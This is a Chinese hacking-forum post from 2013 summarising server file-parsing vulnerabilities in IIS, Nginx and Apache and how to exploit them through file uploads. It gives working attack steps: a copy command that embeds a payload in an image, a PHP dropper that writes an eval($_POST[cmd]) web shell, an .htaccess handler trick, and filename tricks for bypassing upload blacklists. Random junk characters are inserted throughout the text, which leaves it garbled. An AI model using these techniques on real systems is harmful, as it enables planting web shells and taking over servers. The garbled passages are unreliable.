找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2885|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author : laterain. p* F  w# h& Y/ I$ H
[+]IIS6.0
8 M1 L% M6 W* E4 u+ Z' x " C! y% W( }/ p8 T4 A: O; Y
目录解析:/xx.asp/xx.jpg
" T1 X; n7 c7 b( m: U0 V( ^ xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
: v) s2 v6 z' s IIS6.0 会将 xx.jpg 解析为 asp 文件。2 M4 P: N/ |" U0 w" I3 X4 `% U
后缀解析:/xx.asp;.jpg     0 b" g& Y% g2 v, M. J  w6 u
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
& t, `% H6 P3 h/ w默认解析:/xx.asa6 D6 V0 Q2 Z" L# F! J; U4 B
         /xx.cer6 q7 @/ V" w- g: {$ P4 |
         /xx.cdx
9 R1 y* F% N' _! a2 N( q IIS6.0 默认的可执行文件除了 asp 还包含这三种% L- P# u2 t: Y1 N3 S$ V
此处可联系利用目录解析漏洞
' L& a# Q4 J- C! r% t* Q9 T/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
( E7 A! b5 U& g% ^+ |2 ?% V3 P[+]IIS 7.0/IIS 7.5/Nginx <0.8.037 ]) h. T/ N. A% ^+ z. \( p

8 m- o2 y% ^0 E- r# E) C. ` IIS 7.0/IIS 7.5/Nginx <0.8.03) }$ k: w, W+ e! a, W
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
3 q2 f2 J+ _- n  X1 e: A! F 加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。4 m5 _; s2 e6 I9 Y& I3 j
常用利用方法:
9 p. y0 N' `! Y 将一张图和一个写入后门代码的文本文件合并将恶意文本% J: r* Q* P- r# B9 r9 p; `9 {5 q
写入图片的二进制代码之后,避免破坏图片文件头和尾
. g0 o! Z; b  b: y4 O+ }6 Y2 w 如:& v# O3 {/ B* {: @6 j' Y
copy xx.jpg /b + yy.txt/a xy.jpg) b) @7 e- X1 u9 I( x
#########################################################
/ x- g7 e% {+ Q) G0 q /b 即二进制[binary]模式4 R" I& W6 O1 i3 ]. r
/a 即ascii模式" m! c' h0 r; }, p/ k. d& I
xx.jpg 正常图片文件* B1 X8 z+ j0 a  N3 Q! h" h6 k
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),& M8 d/ e) b1 \3 p9 V
'<?php eval($_POST[cmd])?>');?>+ |$ d# ]! l4 J
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
& y3 O( P  C0 { 为shell.php的文件4 q9 k/ T4 Y, s3 t9 t: I
###########################################################
  J+ @; I6 |9 d 找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php 1 F" ~/ g, D4 y1 o5 V7 e
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php ' W* w- Q8 \+ k9 e9 J, [4 n
密码 cmd
! q" S4 m  I' v. [( V7 B[+]Nginx <0.8.037 F" _7 E# K: T& b- N
* z) P/ \( W4 [$ {6 E7 D
在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞
- E/ C  x: i6 z4 n8 V% r 在一个文件路径(/xx.jpg)后面加上%00.php
" s% m4 f1 P& a6 ?* ^ 会将 /xx.jpg%00.php 解析为 php 文件。
2 s( `6 A$ D" h5 Q[+]Apache<0.8.03
9 s  |; V, G: C+ _& ]+ v   B2 ]2 V1 B0 P
后缀解析:test.php.x1.x2.x3% n, D7 C7 d5 X- m5 [# F" U
Apache将从右至左开始判断后缀,若x3非可识别后缀,0 B9 U: T7 n, L- _+ g2 V) b
再判断x2,直到找到可识别后缀为止,然后将该可识别
; _2 u2 ~7 _; N0 x 后缀进解析test.php.x1.x2.x3 则会被解析为php
. k6 C# G; I8 s* z 经验之谈:php|php3|phtml 多可被Apache解析。1 m+ W( p! o' y/ D; e4 f: F  F
[+]其他一些可利用的- {) @1 j% q; B" m& Y3 O

5 u- q2 u8 Z) M5 H! y在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的, u5 T% E. I& i3 e
若这样命名,windows会默认除去空格或点,这也是可以被利用的!
9 m, n) ^5 W8 c% E: @5 r在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格
8 n/ [) ~: R  U- {; f7 b) u或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
, F- Q$ ^  d3 i; s" g得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
: O" a; |2 x" x+ i* S, d( ~{Linux主机中不行,Linux允许这类文件存在}  f: z1 ^+ H% E( z. o
如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说
5 N3 O9 }' \, C1 L4 ?* D% r1 P1 ?的,当初我并不知道),且可以被上传,那可以尝试在
2 q0 {0 [/ V" j- _9 i.htaccess中写入:0 X4 {9 r8 y/ s+ Q& B
<FilesMatch “shell.jpg”>
% X  p# S- [8 {% S! VSetHandler application/x-httpd-php
( n) Y6 M+ C! Y7 G+ C, u0 {</FilesMatch>
8 S6 S8 a: o' Y' I, s  Wshell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件
& M! ]/ _5 l5 D* J  c1 t. r2 b[+]错误修改
; G9 ~. _! Y8 f. e6 @
: y" g5 R# G$ X) ^* X0 C在 IIS 6.0 下可解析 /xx.asp:.jpg
+ s2 `  k; _* F, e6 i{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去: R1 |! ?! R; s+ p2 L
剩下/xx.asp}修改:
9 F' g+ q( [5 p3 t* s8 N先谢谢核攻击的提醒
3 |5 a) N$ E7 `& q1 ~& ^当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp8 _, [' y( a+ I/ t2 |
里是没有任何内容的,因为。。不好解释 大家自己看9 [+ N# O% O+ p6 J5 \7 B
http://lcx.cc/?i=2448$ x/ V, Y3 W8 t& ?/ k! h. ^
http://baike.baidu.com/view/3619593.htm4 B, M; a, I) {7 ~( K9 {1 V6 c. H

3 a4 j  j. |2 F
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表